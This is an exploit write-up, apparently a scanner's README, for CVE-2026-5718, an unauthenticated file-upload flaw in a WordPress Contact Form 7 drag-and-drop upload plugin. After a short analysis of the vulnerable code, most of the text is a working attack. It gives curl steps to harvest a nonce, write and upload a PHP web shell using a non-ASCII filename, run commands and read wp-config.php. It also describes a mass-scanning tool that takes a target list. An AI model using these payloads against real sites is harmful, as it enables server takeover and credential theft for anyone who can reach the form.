CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 플러그인의 인증되지 않은 파일 업로드를 통한 RCE

CVE-2026-5718 — DnD CF7 파일 업로드 RCE 스캐너

플러그인: Drag and Drop Multiple File Upload for Contact Form 7 플러그인 슬러그: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS 점수: 8.1 (높음) CVSS 벡터: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 취약점 유형: 인증되지 않은 임의 파일 업로드 → 원격 코드 실행 영향받는 버전: <= 1.3.9.6 패치 버전: 1.3.9.7 공개 날짜: 2026년 4월 17일 연구자: Leonid Semenenko (lsemenenko) — Wordfence

---

📌 취약점 정보

Drag and Drop Multiple File Upload for Contact Form 7 플러그인에서 두 가지 독립적인 논리 오류가 결합되어 인증되지 않은 공격자가 PHP 웹셸을 업로드할 수 있게 합니다.

1. 블랙리스트 무력화: 사용자 정의 블랙리스트 구성이 기본 위험한 확장자 목록을 병합하는 대신 완전히 대체합니다. 이제 php는 더 이상 차단되지 않습니다.
2. 비-ASCII 우회: 파일 이름에 비-ASCII 문자가 있으면 wpcf7_antiscript_file_name() 함수 호출이 차단됩니다. .php 확장자가 유지되고 파일이 디스크에 기록됩니다.

---

🔍 취약점 요약

필드	값
플러그인 이름	Drag and Drop Multiple File Upload for CF7
CVE ID	CVE-2026-5718
CVSS 점수	8.1 (높음)
취약점 유형	인증되지 않은 임의 파일 업로드
영향받는 버전	<= 1.3.9.6
패치 버전	1.3.9.7
전제 조건	CF7 폼의 blacklist-types 사용자 정의 구성

---

⚙️ 기술 분석

취약점 1 — Nonce 공개 (62행)

// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

wp_ajax_nopriv__wpcf7_check_nonce 액션은 공개되어 있습니다. 유효하지 않은 nonce를 보내면 새 nonce가 무료로 제공됩니다. Mozilla UA로 curl 검사를 우회합니다.

---

취약점 2 — 블랙리스트 병합 대신 대체 (883행)

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ ASSIGNMENT (=) — MERGE DEĞİL
    // Özel liste: sadece ['zip']
    // 'php' artık listede YOK → kabul edilir
}

트리거하는 폼 태그 구성:

[mfile upload-file filetypes="*" blacklist-types:zip]

관리자가 ZIP을 차단하려고 하면 → 플러그인이 모든 기본 차단 목록을 삭제합니다. php를 포함한 모든 위험한 확장자가 이제 허용됩니다.

또한 filetypes="*"에 대한 하드코딩 목록도 불완전합니다:

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

---

취약점 3 — 비-ASCII 우회 (970행)

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // Sadece pure-ASCII dosya adları için çağrılır
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur

// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // Non-ASCII karakter → false → antiscript atlanır
}

---

🔴 전체 공격 체인

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl değil)                     │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce ücretsiz alındı                                    │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce geçerli ✓                                   │
│       ├── blacklist=['zip'] → 'php' engellenmez ✓          │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() ATLANIR ✓           │
│       └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → Unauthenticated RCE ✓                                    │
└─────────────────────────────────────────────────────────────┘

---

🧪 개념 증명 (수동)

⚠️ 고지: 이 PoC는 교육 및 방어적 보안 연구 목적으로만 제공됩니다. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에서만 사용하십시오.

전제 조건:

• 플러그인이 설치 및 활성화되어 있어야 함 (버전 <= 1.3.9.6)
• CF7 폼에 [mfile] 필드와 blacklist-types가 포함되어야 함:

  [mfile upload-file filetypes="*" blacklist-types:zip]
  

---

1단계 — Nonce 얻기

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

예상 응답:

{"success": true, "data": "abc123def456"}

---

2단계 — 비-ASCII 파일 이름으로 웹셸 생성

# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

---

3단계 — 셸 업로드

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

예상 응답:

{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

---

4단계 — 셸 URL 생성

UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

---

5단계 — RCE 트리거

# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"

---

🛠️ 자동 스캐너

설치

git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt

requirements.txt

requests

---

🚀 사용법

단일 대상 — 완전 자동

python dnd_cf7_upload.py -u http://hedef.com

Form ID 및 필드 이름 수동

python dnd_cf7_upload.py -u http://hedef.com \
  --form-id 1 --field-name upload-file

전체 셸 + 사용자 정의 명령

python dnd_cf7_upload.py -u http://hedef.com \
  --shell-type full --verify-cmd "whoami"

대량 스캔

python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt

프록시 사용 (Burp Suite)

python dnd_cf7_upload.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

---

⚙️ 매개변수